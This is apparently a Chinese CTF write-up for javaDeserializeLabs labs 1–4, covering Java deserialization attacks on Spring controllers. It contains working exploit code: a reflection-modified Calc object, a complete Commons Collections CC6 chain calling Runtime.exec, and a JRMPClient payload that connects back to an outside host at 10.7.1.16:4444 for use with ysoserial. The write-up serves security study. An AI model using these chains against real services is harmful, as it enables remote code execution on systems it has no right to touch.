lab1-basic

源码如下,/basic路由中存在反序列化入口,且存在一个Calc类可以利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.yxxx.javasec.deserialize;

import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class IndexController {
public IndexController() {
}

@RequestMapping({"/basic"})
public String greeting(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
byte[] b = Utils.hexStringToBytes(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
return "index";
}
}

直接修改Calc类属性即可,使用Utils中的函数把对象转成十六进制即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.yxxx.javasec.deserialize;

import java.lang.reflect.Field;
import static com.yxxx.javasec.deserialize.Utils.*;

public class Lab1
{
public static void editField(Object obj, String fieldName, Object value) throws Exception
{
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception
{
Calc calc = new Calc();
editField(calc,"canPopCalc",true);
editField(calc,"cmd","whoami");

String exp = objectToHexString(calc);
System.out.println(exp);
}
}

lab2-ysoserial

源码如下,这一题没有自带的恶意类,但是pom.xml依赖中存在cc,版本是3.2.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.yxxx.javasec.deserialize;

import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class IndexController {
public IndexController() {
}

@RequestMapping({"/basic"})
public String greeting(@RequestParam(name = "data",required = true) String data, Model model) throws Exception {
byte[] b = Utils.hexStringToBytes(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("SJTU") && year == 1896) {
objectInputStream.readObject();
}

return "index";
}
}

反序列化入口也有readUTF()和readInt(),我们可以手写一个cc6的链子

按照顺序,先写UTF再写Int,再写Object

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package com.yxxx.javasec.deserialize;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.*;
import java.util.*;

public class Lab2
{
public static Object getexp(String cmd) throws Exception
{
Class clazz = Class.forName("java.lang.Runtime");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(clazz),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hm = new HashMap<>();
Map<Object, Object> lm = LazyMap.decorate(hm, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lm, "kkk");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "1111");
lm.remove("kkk");
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lm, chainedTransformer);

return hashMap;
}

public static void main(String[] args) throws Exception
{
ByteArrayOutputStream outputStream=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(outputStream);
Object obj=getexp("whoami");

oos.writeUTF("SJTU");
oos.writeInt(1896);
oos.writeObject(obj);

String exp =Utils.bytesTohexString(outputStream.toByteArray());
System.out.println(exp);

}
}

lab3-shiro-jrmp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class MyObjectInputStream extends ObjectInputStream {
private ClassLoader classLoader;

public MyObjectInputStream(InputStream inputStream) throws Exception {
super(inputStream);
URL[] urls = ((URLClassLoader)Transformer.class.getClassLoader()).getURLs();
this.classLoader = new URLClassLoader(urls);
}

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class clazz = this.classLoader.loadClass(desc.getName());
return clazz;
}
}

实现了自定义的ObjectInputStream,使用URLClassLoader

就是加载类的方式改变了,ObjectInputStream使用Class.forName加载类,而MyObjectInputStream使用URLClassLoader.loadClass加载类。

shiro中就使用这种类加载方式,但shiro中java原生类的数组还可以加载的,而这个题是所有类都是用loadClass方法加载,所以之前的shiro反序列化的EXP在这里也是不能用的,因为TemplatesImpl中的bytecode的值是个二维字节数组。根据题目名可知,这里要结合JRMP协议实现二次反序列化攻击。

这里借鉴了yso的JRMPClient

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class Lab3
{
public static Registry getObject() {
String host="10.7.1.16";
int port=4444;
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(Lab3.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}

public static void main(String[] args) throws Exception
{
ByteArrayOutputStream outputStream=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(outputStream);
Object obj=getObject();

oos.writeUTF("SJTU");
oos.writeInt(1896);
oos.writeObject(obj);

String exp =Utils.bytesTohexString(outputStream.toByteArray());
System.out.println(exp);

}
}

然后利用ysoserial开启一个JRMPListener,打一个cc链即可

lab4-shiro-blind

源码跟lab3几乎一样,就是不出网,不能用jrmp,这里得找个不用数组的链子来打

Reference

[javaDeserializeLabs writeup - Longlone’s Blog](https://longlone.top/安全/java/java反序列化/javaDeserializeLabs writeup/)

JavaDerserializeLabs-writeup - noViC4的笔记本